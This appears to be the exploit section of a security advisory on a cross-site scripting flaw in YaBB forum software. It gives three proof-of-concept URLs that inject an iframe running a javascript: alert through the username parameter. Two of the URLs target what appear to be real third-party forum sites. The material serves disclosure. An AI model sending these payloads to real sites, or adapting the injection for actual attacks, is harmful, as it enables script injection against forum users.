• News
• Infocus
• Foundations
• Microsoft
• Unix
• IDS
• Incidents
• Virus
• Pen-Test
• Firewalls
• Columnists
• Mailing Lists
• Newsletters
• Bugtraq
• Focus on IDS
• Focus on Linux
• Focus on Microsoft
• Forensics
• Pen-test
• Security Basics
• Vuln Dev
• Vulnerabilities
• Jobs
• Job Opportunities
• Resumes
• Job Seekers
• Employers
• Tools
• RSS
• News
• Vulns
• Security Research

• info
• discussion
• exploit
• solution
• references

YaBB Remote UsersRecentPosts Cross-Site Scripting Vulnerability

No exploit is required to leverage this issue. The following proof of concepts have been provided:

http://www.example.com/YaBB.pl?action=usersrecentposts;username=<IFRAME%20SRC%3Djavascript:alert('PersianHacker.NET-XSS')><%252FIFRAME>
http://wordforlife.com/cgi-bin/yabb2/YaBB.pl?action=usersrecentposts;username=<IFRAME%20SRC%3Djavascript:alert('PersianHacker.NET-XSS')><%252FIFRAME>
http://yabbtest.spikecity.net/cgi-bin/SP2/YaBB.pl?action=usersrecentposts;username=<IFRAME%20SRC%3Djavascript:alert('PersianHacker.NET-XSS')><%252FIFRAME>